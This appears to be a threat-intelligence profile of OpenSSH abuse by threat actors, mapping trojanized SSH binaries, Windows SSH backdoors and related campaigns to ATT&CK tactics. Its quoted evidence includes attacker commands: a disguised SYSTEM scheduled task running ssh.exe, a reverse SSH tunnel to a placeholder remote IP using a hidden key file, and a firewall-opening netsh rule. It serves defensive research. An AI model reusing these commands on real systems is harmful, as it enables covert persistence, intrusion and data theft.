OpenSSH
- Type
- Backdoor
- Capabilities
- Credential theftLateral movementPost exploitation
- Platforms
- LinuxWindows
OpenSSH is a legitimate SSH software suite that threat actors abuse for remote access, file transfer and lateral movement. It is not inherently malicious or a single malware family. Malicious implementations include trojanized Linux authentication programs and custom-built Windows SSH servers used as backdoors.
Trojanized OpenSSH programs deployed on compromised Linux hosts capture administrator credentials and record authentication activity to facilitate lateral movement. Glacial Panda uses modified OpenSSH tools to log authentication events and track connections to other hosts in a technique known as ShieldSlide. The OceanGate espionage campaign also replaced OpenSSH programs with credential-capturing versions.
A documented Windows backdoor implementation is a modified, self-contained OpenSSH server incorporating OpenSSL, a fixed configuration and three hard-coded cryptographic key pairs. It accepts inbound SSH connections and launches a companion SFTP server for file transfer. Modified OpenSSH binaries have also been associated with the TRITON threat actor, and an OpenSSH backdoor has appeared among Akira-affiliated tools. Separately, FIN7, also known as Sangria Tempest, has used OpenSSH alongside Impacket for lateral movement and Clop ransomware deployment; this operational use does not establish that those OpenSSH binaries were trojanized.
Associated threat actors
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
"Glacial Panda deploys trojanized OpenSSH tools on compromised Linux hosts to log user authentication events and support lateral movement by tracking remote connections to other hosts in a technique CrowdStrike calls ShieldSlide."
...observed the group using OpenSSH and Impacket to move laterally and deploy Clop ransomware.
Looking for modified OpenSSH binaries with non-standard PE metadata, seen used heavily by TRITON actor
Techniques & procedures
36 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
"obtained and leveraged publicly-available tools for intrusion activities."
"APT32 has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting." / "FIN7 has staged legitimate software, that was trojanized...on Amazon S3." / "TeamTNT has uploaded backdoored Docker images to Docker Hub."
Initial Access
3 techniques
Initial Access
“In another terminal, run ssh root@localhost -p 2222. For the password, enter alpine.”
downloading OpenSSH from an attacker-controlled server to set up connections between compromised systems and maintain persistence within the victim environment.
The Trellix article titled A Flyby on the CFO's Inbox details a sophisticated spear-phishing campaign targeting CFOs and finance executives... Attackers impersonated a Rothschild & Co recruiter, sending emails that led recipients through a deceptive CAPTCHA to download a ZIP file containing a malicious VBS script.
Execution
5 techniques
Execution
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
and establishes an SSH backdoor via AdaptixC2 or OpenSSH.
The malicious actor had already gained these administrative privileges to execute the involved VBS script, enabling them to proceed with the installation and NetBird service startup.
Attackers impersonated a Rothschild & Co recruiter, sending emails that led recipients through a deceptive CAPTCHA to download a ZIP file containing a malicious VBS script.
Technique Technique ID Command and Scripting Interpreter: Powershell T1059.001 ... System Services: Service Execution T1569.002
Persistence
6 techniques
Persistence
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
“In another terminal, run ssh root@localhost -p 2222. For the password, enter alpine.”
he installed OpenSSH Server and Tailscale, joined the victim's machine to his private Tailscale network, and set up key-based SSH
downloading OpenSSH from an attacker-controlled server to set up connections between compromised systems and maintain persistence within the victim environment.
This script installed NetBird and OpenSSH, created a hidden admin account, and enabled Remote Desktop Protocol (RDP), granting attackers persistent access to the victim's system.
A service was also created to make sure that the persistence stays up: Service Name Command AnyDesk C:\Program Files (x86)\AnyDesk\AnyDesk.exe –service
Privilege Escalation
5 techniques
Privilege Escalation
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
"...allowed an attacker remote access to the root account"
“In another terminal, run ssh root@localhost -p 2222. For the password, enter alpine.”
he installed OpenSSH Server and Tailscale, joined the victim's machine to his private Tailscale network, and set up key-based SSH
A service was also created to make sure that the persistence stays up: Service Name Command AnyDesk C:\Program Files (x86)\AnyDesk\AnyDesk.exe –service
Stealth
4 techniques
Stealth
These tasks launched two disguised executables: operagx.exe, which was actually an OpenSSH daemon, and dropbox.exe, which was a Tor server. A third file, safari.exe, acted as an obfs4 traffic obfuscation plugin
“In another terminal, run ssh root@localhost -p 2222. For the password, enter alpine.”
Toy Ghouls uses certutil.exe to download OpenSSH directly from GitHub.
One delivery method installs OpenSSH from GitHub using msiexec.exe.
Defense Impairment
1 technique
Defense Impairment
They created a rule to enable SSH traffic... netsh advfirewall firewall add rule name='allow RemoteDesktop' dir=in protocol=TCP localport=3389 action=allow
Credential Access
1 technique
Credential Access
Credential theft is a primary objective. The group uses various techniques to perform this core function, including dumping the Local Security Authority Subsystem Service (LSASS) memory and exfiltrating the NTDS.dit Active Directory database, and capturing credentials stored in browsers and SSH clients like PuTTY and OpenSSH.
Lateral Movement
6 techniques
Lateral Movement
C:\ProgramData\ssh\ssh.exe -o "StrictHostKeyChecking no" root@<remote_ip> -p 443 -R 25369 -NCqf -i "C:\Windows\temp\syslog.txt" ... Remote services:SSH [ T1021 ]
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
“On the jailbroken iPhone… install the OpenSSH package… iproxy 2222 22… ssh root@localhost -p 2222.”
"In June 2002... disclosed a bug in the OpenSSH code implementing challenge–response authentication... allowed an attacker remote access to the root account." | "First official remote security hole - OpenSSH integer overflow"
déploiement d’OpenSSH, socks5.exe, SoftPerfect Network Scanner, Mimikatz
Command and Control
9 techniques
Command and Control
These tasks launched two disguised executables: operagx.exe, which was actually an OpenSSH daemon... The SSH daemon was configured to listen only on local loopback port 20321
«SSH как замена VPN... один SSH туннель как VPN замена без загрузки бинарников на скомпрометированный хост»; «sshuttle... перехватывает трафик ... и проксирует через SSH».
The group uses reverse SSH tunnels with -R port forwarding and tools including GOST, rsocx, cloudflared, and localtonet to redirect traffic.
...за допомогою легітимних програм OPENSSH і TOR, що забезпечували форвардинг локальних мережевих портів...
HAProxy entscheidet anhand der ersten übertragenen Byte an welchen Deamon die Verbindung weitergeleitet werden soll... Im frontend wird eine acl definiert, die per regulärem Ausdruck SSH-1.0* und SSH-2.0* matched und in diesem Fall das backend sshd als Ziel nutzt.
OpenSSH is installed from GitHub with msiexec.exe or downloaded using certutil.exe; PowerShell Invoke-WebRequest retrieves remote payloads.
Apart from using AnyDesk, TeamViewer, OpenSSH, MobaXTerm as Remote Administration Tools...
PhantomCore uses nonstandard network ports on C2 servers: ports 80 and 443: OpenSSH service port 81: fake sites ports 8000 and 8080: utility downloads
«ssh -w создаёт пару виртуальных tun-интерфейсов... получаешь point-to-point SSH туннель... весь трафик к внутренней подсети идёт через SSH».
Exfiltration
2 techniques
Exfiltration
C:\Program Files\OpenSSH\sshd.exe SSH executable for exfil C:\Program Files\FileZilla FTP Client\fzsftp.exe Data exfiltration tooling
After creating archives containing collected files, affiliates used different softwares to exfiltrate several gigabytes of data: WinSCP and FileZilla.
Observables
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.